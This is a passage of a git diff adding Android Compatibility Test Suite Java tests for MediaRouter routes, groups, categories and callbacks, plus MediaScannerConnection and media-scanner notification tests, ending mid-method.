+        assertNotNull(route.getCategory());
+        assertNotNull(route.getName());
+        assertNotNull(route.getName(mContext));
+        assertTrue(route.isEnabled());
+        assertFalse(route.isConnecting());
+        assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, route.getDeviceType());
+        assertEquals(RouteInfo.PLAYBACK_TYPE_LOCAL, route.getPlaybackType());
+        assertNull(route.getDescription());
+        assertNull(route.getStatus());
+        assertNull(route.getIconDrawable());
+        assertNull(route.getGroup());
+
+        Object tag = new Object();
+        route.setTag(tag);
+        assertEquals(tag, route.getTag());
+        assertEquals(AudioManager.STREAM_MUSIC, route.getPlaybackStream());
+
+        int curVolume = route.getVolume();
+        int maxVolume = route.getVolumeMax();
+        assertTrue(curVolume <= maxVolume);
+    }
+
+    /**
+     * Test {@link MediaRouter.UserRouteInfo}.
+     */
+    public void testUserRouteInfo() {
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        assertTrue(userRoute.isEnabled());
+        assertFalse(userRoute.isConnecting());
+        assertEquals(mTestCategory, userRoute.getCategory());
+        assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, userRoute.getDeviceType());
+        assertEquals(RouteInfo.PLAYBACK_TYPE_REMOTE, userRoute.getPlaybackType());
+
+        // Test setName by CharSequence object.
+        userRoute.setName(mTestRouteName);
+        assertEquals(mTestRouteName, userRoute.getName());
+
+        userRoute.setName(null);
+        assertNull(userRoute.getName());
+
+        // Test setName by resource ID.
+        // The getName() method tries to find the resource in application resources which was stored
+        // when the media router is first initialized. In contrast, getName(Context) method tries to
+        // find the resource in a given context's resources. So if we call getName(Context) with a
+        // context which has the same resources, two methods will return the same value.
+        userRoute.setName(TEST_ROUTE_NAME_RESOURCE_ID);
+        assertEquals(mTestRouteName, userRoute.getName());
+        assertEquals(mTestRouteName, userRoute.getName(mContext));
+
+        userRoute.setDescription(TEST_ROUTE_DESCRIPTION);
+        assertEquals(TEST_ROUTE_DESCRIPTION, userRoute.getDescription());
+
+        userRoute.setStatus(TEST_STATUS);
+        assertEquals(TEST_STATUS, userRoute.getStatus());
+
+        Object tag = new Object();
+        userRoute.setTag(tag);
+        assertEquals(tag, userRoute.getTag());
+
+        userRoute.setPlaybackStream(TEST_PLAYBACK_STREAM);
+        assertEquals(TEST_PLAYBACK_STREAM, userRoute.getPlaybackStream());
+
+        userRoute.setIconDrawable(mTestIconDrawable);
+        assertEquals(mTestIconDrawable, userRoute.getIconDrawable());
+
+        userRoute.setIconDrawable(null);
+        assertNull(userRoute.getIconDrawable());
+
+        userRoute.setIconResource(TEST_ICON_RESOURCE_ID);
+        assertTrue(getBitmap(mTestIconDrawable).sameAs(getBitmap(userRoute.getIconDrawable())));
+
+        userRoute.setVolumeMax(TEST_MAX_VOLUME);
+        assertEquals(TEST_MAX_VOLUME, userRoute.getVolumeMax());
+
+        userRoute.setVolume(TEST_VOLUME);
+        assertEquals(TEST_VOLUME, userRoute.getVolume());
+
+        Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
+        PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
+                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
+        userRoute.setRemoteControlClient(rcc);
+        assertEquals(rcc, userRoute.getRemoteControlClient());
+
+        userRoute.setVolumeHandling(TEST_VOLUME_HANDLING);
+        assertEquals(TEST_VOLUME_HANDLING, userRoute.getVolumeHandling());
+
+        userRoute.setPlaybackType(TEST_PLAYBACK_TYPE);
+        assertEquals(TEST_PLAYBACK_TYPE, userRoute.getPlaybackType());
+    }
+
+    /**
+     * Test {@link MediaRouter.RouteGroup}.
+     */
+    public void testRouteGroup() {
+        // Create a route with a groupable category.
+        // A route does not belong to any group until it is added to a media router or to a group.
+        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+        assertNull(userRoute0.getGroup());
+
+        // Call addUserRoute(UserRouteInfo).
+        // For the route whose category is groupable, this method does not directly add the route in
+        // the media router. Instead, it creates a RouteGroup, adds the group in the media router,
+        // and puts the route inside that group.
+        mMediaRouter.addUserRoute(userRoute0);
+        RouteGroup routeGroup = userRoute0.getGroup();
+        assertNotNull(routeGroup);
+        assertEquals(1, routeGroup.getRouteCount());
+        assertEquals(userRoute0, routeGroup.getRouteAt(0));
+
+        // Create another two routes with the same category.
+        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+        UserRouteInfo userRoute2 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+
+        // Add userRoute2 at the end of the group.
+        routeGroup.addRoute(userRoute2);
+        assertSame(routeGroup, userRoute2.getGroup());
+        assertEquals(2, routeGroup.getRouteCount());
+        assertEquals(userRoute0, routeGroup.getRouteAt(0));
+        assertEquals(userRoute2, routeGroup.getRouteAt(1));
+
+        // To place routes in order, add userRoute1 to the group between userRoute0 and userRoute2.
+        routeGroup.addRoute(userRoute1, 1);
+        assertSame(routeGroup, userRoute1.getGroup());
+        assertEquals(3, routeGroup.getRouteCount());
+        assertEquals(userRoute0, routeGroup.getRouteAt(0));
+        assertEquals(userRoute1, routeGroup.getRouteAt(1));
+        assertEquals(userRoute2, routeGroup.getRouteAt(2));
+
+        // Remove userRoute0.
+        routeGroup.removeRoute(userRoute0);
+        assertNull(userRoute0.getGroup());
+        assertEquals(2, routeGroup.getRouteCount());
+        assertEquals(userRoute1, routeGroup.getRouteAt(0));
+        assertEquals(userRoute2, routeGroup.getRouteAt(1));
+
+        // Remove userRoute1 which is the first route in the group now.
+        routeGroup.removeRoute(0);
+        assertNull(userRoute1.getGroup());
+        assertEquals(1, routeGroup.getRouteCount());
+        assertEquals(userRoute2, routeGroup.getRouteAt(0));
+
+        // Routes in different categories cannot be added to the same group.
+        UserRouteInfo userRouteInAnotherCategory = mMediaRouter.createUserRoute(mTestCategory);
+        try {
+            // This will throw an IllegalArgumentException.
+            routeGroup.addRoute(userRouteInAnotherCategory);
+            fail();
+        } catch (IllegalArgumentException exception) {
+            // Expected
+        }
+
+        // Set an icon for the group.
+        routeGroup.setIconDrawable(mTestIconDrawable);
+        assertEquals(mTestIconDrawable, routeGroup.getIconDrawable());
+
+        routeGroup.setIconDrawable(null);
+        assertNull(routeGroup.getIconDrawable());
+
+        routeGroup.setIconResource(TEST_ICON_RESOURCE_ID);
+        assertTrue(getBitmap(mTestIconDrawable).sameAs(getBitmap(routeGroup.getIconDrawable())));
+    }
+
+    /**
+     * Test {@link MediaRouter.RouteCategory}.
+     */
+    public void testRouteCategory() {
+        // Test getName() for category whose name is set with resource ID.
+        RouteCategory routeCategory = mMediaRouter.createRouteCategory(
+                TEST_CATEGORY_NAME_RESOURCE_ID, false);
+
+        // The getName() method tries to find the resource in application resources which was stored
+        // when the media router is first initialized. In contrast, getName(Context) method tries to
+        // find the resource in a given context's resources. So if we call getName(Context) with a
+        // context which has the same resources, two methods will return the same value.
+        CharSequence categoryName = mContext.getText(
+                TEST_CATEGORY_NAME_RESOURCE_ID);
+        assertEquals(categoryName, routeCategory.getName());
+        assertEquals(categoryName, routeCategory.getName(mContext));
+
+        assertFalse(routeCategory.isGroupable());
+        assertEquals(MediaRouter.ROUTE_TYPE_USER, routeCategory.getSupportedTypes());
+
+        final int count = mMediaRouter.getCategoryCount();
+        assertTrue("By default, a media router has at least one route category.", count > 0);
+
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(routeCategory);
+        mMediaRouter.addUserRoute(userRoute);
+        assertEquals(count + 1, mMediaRouter.getCategoryCount());
+        assertEquals(routeCategory, mMediaRouter.getCategoryAt(count));
+
+        List<RouteInfo> routesInCategory = new ArrayList<RouteInfo>();
+        routeCategory.getRoutes(routesInCategory);
+        assertEquals(1, routesInCategory.size());
+
+        RouteInfo route = routesInCategory.get(0);
+        assertEquals(userRoute, route);
+
+        // Test getName() for category whose name is set with CharSequence object.
+        RouteCategory newRouteCategory = mMediaRouter.createRouteCategory(categoryName, false);
+        assertEquals(categoryName, newRouteCategory.getName());
+    }
+
+    public void testCallback() {
+        MediaRouterCallback callback = new MediaRouterCallback();
+        MediaRouter.Callback mrc = (MediaRouter.Callback) callback;
+        MediaRouter.SimpleCallback mrsc = (MediaRouter.SimpleCallback) callback;
+
+        final int allRouteTypes = MediaRouter.ROUTE_TYPE_LIVE_AUDIO
+                | MediaRouter.ROUTE_TYPE_LIVE_VIDEO | MediaRouter.ROUTE_TYPE_USER;
+        mMediaRouter.addCallback(allRouteTypes, callback);
+
+        // Test onRouteAdded().
+        callback.reset();
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        mMediaRouter.addUserRoute(userRoute);
+        assertTrue(callback.mOnRouteAddedCalled);
+        assertEquals(userRoute, callback.mAddedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteAdded(mMediaRouter, callback.mAddedRoute);
+        mrsc.onRouteAdded(mMediaRouter, callback.mAddedRoute);
+
+        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(allRouteTypes);
+
+        // Test onRouteSelected() and onRouteUnselected().
+        callback.reset();
+        mMediaRouter.selectRoute(MediaRouter.ROUTE_TYPE_USER, userRoute);
+        assertTrue(callback.mOnRouteUnselectedCalled);
+        assertEquals(prevSelectedRoute, callback.mUnselectedRoute);
+        assertTrue(callback.mOnRouteSelectedCalled);
+        assertEquals(userRoute, callback.mSelectedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteUnselected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mUnselectedRoute);
+        mrc.onRouteSelected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mSelectedRoute);
+        mrsc.onRouteUnselected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER,
+                callback.mUnselectedRoute);
+        mrsc.onRouteSelected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mSelectedRoute);
+
+        // Test onRouteChanged().
+        // It is called when the route's name, description, status or tag is updated.
+        callback.reset();
+        userRoute.setName(mTestRouteName);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        callback.reset();
+        userRoute.setDescription(TEST_ROUTE_DESCRIPTION);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        callback.reset();
+        userRoute.setStatus(TEST_STATUS);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        callback.reset();
+        Object tag = new Object();
+        userRoute.setTag(tag);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(userRoute, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        // Test onRouteVolumeChanged().
+        userRoute.setVolumeMax(TEST_MAX_VOLUME);
+        callback.reset();
+        userRoute.setVolume(TEST_VOLUME);
+        assertTrue(callback.mOnRouteVolumeChangedCalled);
+        assertEquals(userRoute, callback.mVolumeChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteVolumeChanged(mMediaRouter, callback.mVolumeChangedRoute);
+        mrsc.onRouteVolumeChanged(mMediaRouter, callback.mVolumeChangedRoute);
+
+        // Test onRouteRemoved().
+        callback.reset();
+        mMediaRouter.removeUserRoute(userRoute);
+        assertTrue(callback.mOnRouteRemovedCalled);
+        assertEquals(userRoute, callback.mRemovedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+        mrsc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+
+        // Test onRouteGrouped() and onRouteUngrouped().
+        mMediaRouter.clearUserRoutes();
+        UserRouteInfo groupableRoute0 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+        UserRouteInfo groupableRoute1 = mMediaRouter.createUserRoute(mTestGroupableCategory);
+
+        // Adding a route of groupable category in the media router does not directly add the route.
+        // Instead, it creates a RouteGroup, adds the group as a route in the media router, and puts
+        // the route inside that group. Therefore onRouteAdded() is called for the group, and
+        // onRouteGrouped() is called for the route.
+        callback.reset();
+        mMediaRouter.addUserRoute(groupableRoute0);
+
+        RouteGroup group = groupableRoute0.getGroup();
+        assertTrue(callback.mOnRouteAddedCalled);
+        assertEquals(group, callback.mAddedRoute);
+
+        assertTrue(callback.mOnRouteGroupedCalled);
+        assertEquals(groupableRoute0, callback.mGroupedRoute);
+        assertEquals(group, callback.mGroup);
+        assertEquals(0, callback.mRouteIndexInGroup);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+        mrsc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+
+        // Add another route to the group.
+        callback.reset();
+        group.addRoute(groupableRoute1);
+        assertTrue(callback.mOnRouteGroupedCalled);
+        assertEquals(groupableRoute1, callback.mGroupedRoute);
+        assertEquals(1, callback.mRouteIndexInGroup);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+        mrsc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
+                callback.mRouteIndexInGroup);
+
+        // Since removing a route from the group changes the group's name, onRouteChanged() is
+        // called.
+        callback.reset();
+        group.removeRoute(groupableRoute1);
+        assertTrue(callback.mOnRouteUngroupedCalled);
+        assertEquals(groupableRoute1, callback.mUngroupedRoute);
+        assertTrue(callback.mOnRouteChangedCalled);
+        assertEquals(group, callback.mChangedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+        mrsc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
+
+        // When a group has no routes, the group is removed from the media router.
+        callback.reset();
+        group.removeRoute(0);
+        assertTrue(callback.mOnRouteUngroupedCalled);
+        assertEquals(groupableRoute0, callback.mUngroupedRoute);
+        assertTrue(callback.mOnRouteRemovedCalled);
+        assertEquals(group, callback.mRemovedRoute);
+        // Call the callback methods directly so they are marked as tested
+        mrc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+        mrsc.onRouteUngrouped(mMediaRouter, callback.mUngroupedRoute, callback.mGroup);
+        mrsc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
+
+        // In this case, onRouteChanged() is not called.
+        assertFalse(callback.mOnRouteChangedCalled);
+
+        // Try removing the callback.
+        mMediaRouter.removeCallback(callback);
+        callback.reset();
+        mMediaRouter.addUserRoute(groupableRoute0);
+        assertFalse(callback.mOnRouteAddedCalled);
+
+        mMediaRouter.selectRoute(prevSelectedRoute.getSupportedTypes(), prevSelectedRoute);
+    }
+
+    /**
+     * Test {@link MediaRouter#addCallback(int, MediaRouter.Callback, int)}.
+     */
+    public void testAddCallbackWithFlags() {
+        MediaRouterCallback callback = new MediaRouterCallback();
+        mMediaRouter.addCallback(MediaRouter.ROUTE_TYPE_USER, callback);
+
+        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(
+                MediaRouter.ROUTE_TYPE_LIVE_AUDIO | MediaRouter.ROUTE_TYPE_LIVE_VIDEO
+                | MediaRouter.ROUTE_TYPE_REMOTE_DISPLAY);
+
+        // Currently mCallback is set for the type MediaRouter.ROUTE_TYPE_USER.
+        // Changes on prevSelectedRoute will not invoke mCallback since the types do not match.
+        callback.reset();
+        Object tag0 = new Object();
+        prevSelectedRoute.setTag(tag0);
+        assertFalse(callback.mOnRouteChangedCalled);
+
+        // Remove mCallback and add it again with flag MediaRouter.CALLBACK_FLAG_UNFILTERED_EVENTS.
+        // This flag will make the callback be invoked even when the types do not match.
+        mMediaRouter.removeCallback(callback);
+        mMediaRouter.addCallback(MediaRouter.ROUTE_TYPE_USER, callback,
+                MediaRouter.CALLBACK_FLAG_UNFILTERED_EVENTS);
+
+        callback.reset();
+        Object tag1 = new Object();
+        prevSelectedRoute.setTag(tag1);
+        assertTrue(callback.mOnRouteChangedCalled);
+    }
+
+    /**
+     * Test {@link MediaRouter.VolumeCallback)}.
+     */
+    public void testVolumeCallback() {
+        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
+        userRoute.setVolumeHandling(RouteInfo.PLAYBACK_VOLUME_VARIABLE);
+        MediaRouterVolumeCallback callback = new MediaRouterVolumeCallback();
+        MediaRouter.VolumeCallback mrvc = (MediaRouter.VolumeCallback) callback;
+        userRoute.setVolumeCallback(callback);
+
+        userRoute.requestSetVolume(TEST_VOLUME);
+        assertTrue(callback.mOnVolumeSetRequestCalled);
+        assertEquals(userRoute, callback.mRouteInfo);
+        assertEquals(TEST_VOLUME, callback.mVolume);
+        // Call the callback method directly so it is marked as tested
+        mrvc.onVolumeSetRequest(callback.mRouteInfo, callback.mVolume);
+
+        callback.reset();
+        userRoute.requestUpdateVolume(TEST_VOLUME_DIRECTION);
+        assertTrue(callback.mOnVolumeUpdateRequestCalled);
+        assertEquals(userRoute, callback.mRouteInfo);
+        assertEquals(TEST_VOLUME_DIRECTION, callback.mDirection);
+        // Call the callback method directly so it is marked as tested
+        mrvc.onVolumeUpdateRequest(callback.mRouteInfo, callback.mDirection);
+    }
+
+    private Bitmap getBitmap(Drawable drawable) {
+        int width = drawable.getIntrinsicWidth();
+        int height = drawable.getIntrinsicHeight();
+
+        Bitmap result = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(result);
+
+        drawable.setBounds(0, 0, width, height);
+        drawable.draw(canvas);
+
+        return result;
+    }
+
+    private class MediaRouterVolumeCallback extends MediaRouter.VolumeCallback {
+        private boolean mOnVolumeUpdateRequestCalled;
+        private boolean mOnVolumeSetRequestCalled;
+        private RouteInfo mRouteInfo;
+        private int mDirection;
+        private int mVolume;
+
+        public void reset() {
+            mOnVolumeUpdateRequestCalled = false;
+            mOnVolumeSetRequestCalled = false;
+            mRouteInfo = null;
+            mDirection = 0;
+            mVolume = 0;
+        }
+
+        @Override
+        public void onVolumeUpdateRequest(RouteInfo info, int direction) {
+            mOnVolumeUpdateRequestCalled = true;
+            mRouteInfo = info;
+            mDirection = direction;
+        }
+
+        @Override
+        public void onVolumeSetRequest(RouteInfo info, int volume) {
+            mOnVolumeSetRequestCalled = true;
+            mRouteInfo = info;
+            mVolume = volume;
+        }
+    }
+
+    private class MediaRouterCallback extends MediaRouter.SimpleCallback {
+        private boolean mOnRouteSelectedCalled;
+        private boolean mOnRouteUnselectedCalled;
+        private boolean mOnRouteAddedCalled;
+        private boolean mOnRouteRemovedCalled;
+        private boolean mOnRouteChangedCalled;
+        private boolean mOnRouteGroupedCalled;
+        private boolean mOnRouteUngroupedCalled;
+        private boolean mOnRouteVolumeChangedCalled;
+
+        private RouteInfo mSelectedRoute;
+        private RouteInfo mUnselectedRoute;
+        private RouteInfo mAddedRoute;
+        private RouteInfo mRemovedRoute;
+        private RouteInfo mChangedRoute;
+        private RouteInfo mGroupedRoute;
+        private RouteInfo mUngroupedRoute;
+        private RouteInfo mVolumeChangedRoute;
+        private RouteGroup mGroup;
+        private int mRouteIndexInGroup = -1;
+
+        public void reset() {
+            mOnRouteSelectedCalled = false;
+            mOnRouteUnselectedCalled = false;
+            mOnRouteAddedCalled = false;
+            mOnRouteRemovedCalled = false;
+            mOnRouteChangedCalled = false;
+            mOnRouteGroupedCalled = false;
+            mOnRouteUngroupedCalled = false;
+            mOnRouteVolumeChangedCalled = false;
+
+            mSelectedRoute = null;
+            mUnselectedRoute = null;
+            mAddedRoute = null;
+            mRemovedRoute = null;
+            mChangedRoute = null;
+            mGroupedRoute = null;
+            mUngroupedRoute = null;
+            mVolumeChangedRoute = null;
+            mGroup = null;
+            mRouteIndexInGroup = -1;
+        }
+
+        @Override
+        public void onRouteSelected(MediaRouter router, int type, RouteInfo info) {
+            mOnRouteSelectedCalled = true;
+            mSelectedRoute = info;
+        }
+
+        @Override
+        public void onRouteUnselected(MediaRouter router, int type, RouteInfo info) {
+            mOnRouteUnselectedCalled = true;
+            mUnselectedRoute = info;
+        }
+
+        @Override
+        public void onRouteAdded(MediaRouter router, RouteInfo info) {
+            mOnRouteAddedCalled = true;
+            mAddedRoute = info;
+        }
+
+        @Override
+        public void onRouteRemoved(MediaRouter router, RouteInfo info) {
+            mOnRouteRemovedCalled = true;
+            mRemovedRoute = info;
+        }
+
+        @Override
+        public void onRouteChanged(MediaRouter router, RouteInfo info) {
+            mOnRouteChangedCalled = true;
+            mChangedRoute = info;
+        }
+
+        @Override
+        public void onRouteGrouped(MediaRouter router, RouteInfo info, RouteGroup group,
+                int index) {
+            mOnRouteGroupedCalled = true;
+            mGroupedRoute = info;
+            mGroup = group;
+            mRouteIndexInGroup = index;
+        }
+
+        @Override
+        public void onRouteUngrouped(MediaRouter router, RouteInfo info, RouteGroup group) {
+            mOnRouteUngroupedCalled = true;
+            mUngroupedRoute = info;
+            mGroup = group;
+        }
+
+        @Override
+        public void onRouteVolumeChanged(MediaRouter router, RouteInfo info) {
+            mOnRouteVolumeChangedCalled = true;
+            mVolumeChangedRoute = info;
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerConnectionTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerConnectionTest.java
new file mode 100644
index 0000000..f03ae97
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerConnectionTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.media.MediaScannerConnection;
+import android.media.MediaScannerConnection.MediaScannerConnectionClient;
+import android.media.cts.NonMediaMainlineTest;
+import android.net.Uri;
+import android.os.IBinder;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.FileCopyHelper;
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.io.File;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaScannerConnectionTest extends AndroidTestCase {
+
+    private static final String MEDIA_TYPE = "audio/mpeg";
+    private File mMediaFile;
+    private static final int TIME_OUT = 10000;
+    private MockMediaScannerConnection mMediaScannerConnection;
+    private MockMediaScannerConnectionClient mMediaScannerConnectionClient;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // prepare the media file.
+
+        FileCopyHelper copier = new FileCopyHelper(mContext);
+        String fileName = "test" + System.currentTimeMillis() + ".mp3";
+        File dir = getContext().getExternalMediaDirs()[0];
+        mMediaFile = new File(dir, fileName);
+        copier.copyToExternalStorage(R.raw.testmp3, mMediaFile);
+
+        assertTrue(mMediaFile.exists());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mMediaFile != null) {
+            mMediaFile.delete();
+        }
+        if (mMediaScannerConnection != null) {
+            mMediaScannerConnection.disconnect();
+            mMediaScannerConnection = null;
+        }
+    }
+
+    public void testMediaScannerConnection() throws InterruptedException {
+        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+                                    mMediaScannerConnectionClient);
+
+        assertFalse(mMediaScannerConnection.isConnected());
+
+        // test connect and disconnect.
+        mMediaScannerConnection.connect();
+        checkConnectionState(true);
+
+        mMediaScannerConnection.disconnect();
+
+        checkConnectionState(false);
+
+        mMediaScannerConnection.connect();
+
+        checkConnectionState(true);
+
+        mMediaScannerConnection.scanFile(mMediaFile.getAbsolutePath(), MEDIA_TYPE);
+
+        checkMediaScannerConnection();
+
+        assertEquals(mMediaFile.getAbsolutePath(), mMediaScannerConnectionClient.mediaPath);
+        assertNotNull(mMediaScannerConnectionClient.mediaUri);
+    }
+
+    private void checkMediaScannerConnection() {
+        new PollingCheck(TIME_OUT) {
+            protected boolean check() {
+                return mMediaScannerConnectionClient.isOnMediaScannerConnectedCalled;
+            }
+        }.run();
+        new PollingCheck(TIME_OUT) {
+            protected boolean check() {
+                return mMediaScannerConnectionClient.mediaPath != null;
+            }
+        }.run();
+    }
+
+    private void checkConnectionState(final boolean expected) {
+        new PollingCheck(TIME_OUT) {
+            protected boolean check() {
+                return mMediaScannerConnection.isConnected() == expected;
+            }
+        }.run();
+    }
+
+    class MockMediaScannerConnection extends MediaScannerConnection {
+        public MockMediaScannerConnection(Context context, MediaScannerConnectionClient client) {
+            super(context, client);
+        }
+    }
+
+    class MockMediaScannerConnectionClient implements MediaScannerConnectionClient {
+
+        public boolean isOnMediaScannerConnectedCalled;
+        public String mediaPath;
+        public Uri mediaUri;
+        public void onMediaScannerConnected() {
+            isOnMediaScannerConnectedCalled = true;
+        }
+
+        public void onScanCompleted(String path, Uri uri) {
+            mediaPath = path;
+            if (uri != null) {
+                mediaUri = uri;
+            }
+        }
+
+    }
+
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerNotificationTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerNotificationTest.java
new file mode 100644
index 0000000..96ec5e6
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerNotificationTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Environment;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaScannerNotificationTest extends AndroidTestCase {
+
+    public void testMediaScannerNotification() throws Exception {
+        ScannerNotificationReceiver startedReceiver = new ScannerNotificationReceiver(
+                Intent.ACTION_MEDIA_SCANNER_STARTED);
+        ScannerNotificationReceiver finishedReceiver = new ScannerNotificationReceiver(
+                Intent.ACTION_MEDIA_SCANNER_FINISHED);
+
+        IntentFilter startedIntentFilter = new IntentFilter(Intent.ACTION_MEDIA_SCANNER_STARTED);
+        startedIntentFilter.addDataScheme("file");
+        IntentFilter finshedIntentFilter = new IntentFilter(Intent.ACTION_MEDIA_SCANNER_FINISHED);
+        finshedIntentFilter.addDataScheme("file");
+
+        mContext.registerReceiver(startedReceiver, startedIntentFilter);
+        mContext.registerReceiver(finishedReceiver, finshedIntentFilter);
+
+        String [] temps = new String[] { "avi", "gif", "jpg", "dat", "mp3", "mp4", "txt" };
+        String tmpPath = createTempFiles(temps);
+
+        MediaScannerTest.startMediaScan();
+        startedReceiver.waitForBroadcast();
+        finishedReceiver.waitForBroadcast();
+
+        checkTempFiles(tmpPath, temps);
+
+        // add .nomedia file and scan again
+        File noMedia = new File(tmpPath, ".nomedia");
+        try {
+            noMedia.createNewFile();
+        } catch (IOException e) {
+            fail("couldn't create .nomedia file");
+        }
+        startedReceiver.reset();
+        finishedReceiver.reset();
+        MediaScannerTest.startMediaScan();
+        startedReceiver.waitForBroadcast();
+        finishedReceiver.waitForBroadcast();
+
+        checkTempFiles(tmpPath, temps);
+        assertTrue(noMedia.delete());
+        deleteTempFiles(tmpPath, temps);
+
+        // scan one more time just to clean everything up nicely
+        startedReceiver.reset();
+        finishedReceiver.reset();
+        MediaScannerTest.startMediaScan();
+        startedReceiver.waitForBroadcast();
+        finishedReceiver.waitForBroadcast();
+
+    }
+
+    String createTempFiles(String [] extensions) {
+        String externalPath = Environment.getExternalStorageDirectory().getAbsolutePath();
+        File tmpDir = new File(externalPath, "" + System.nanoTime());
+        String tmpPath = tmpDir.getAbsolutePath();
+        assertFalse(tmpPath + " already exists", tmpDir.exists());
